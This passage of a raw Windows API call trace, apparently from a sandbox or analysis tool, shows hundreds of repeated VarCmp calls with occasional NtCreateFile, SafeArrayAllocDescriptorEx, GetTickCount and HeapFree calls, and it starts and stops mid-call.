pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.799] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.800] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.800] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.800] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.800] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.801] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.801] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.801] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.801] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.802] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.802] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.802] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.802] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.802] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.803] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.803] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.803] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.803] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.804] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.804] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.804] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.804] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.805] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.805] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.805] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.805] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.806] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.806] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.806] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0125.806] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.807] GetLastError () returned 0x0 [0125.807] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.808] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.808] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.808] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.808] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.809] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.810] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.811] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.812] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.813] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.813] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.813] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.813] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.813] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.813] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0125.813] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.813] GetLastError () returned 0x0 [0125.813] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.813] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.813] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.813] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.814] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.815] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.816] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.817] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.818] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0125.818] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.819] GetLastError () returned 0x0 [0125.819] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.819] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.819] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.819] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.819] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0125.819] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.819] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.819] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.819] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.819] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0125.819] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.819] GetLastError () returned 0x0 [0125.820] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.820] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0125.820] GetTickCount () returned 0x1151e79 [0125.820] GetTickCount () returned 0x1151e79 [0125.820] GetTickCount () returned 0x1151e79 [0125.820] CoFreeUnusedLibraries () [0125.820] GetTickCount () returned 0x1151e79 [0125.820] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.820] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) 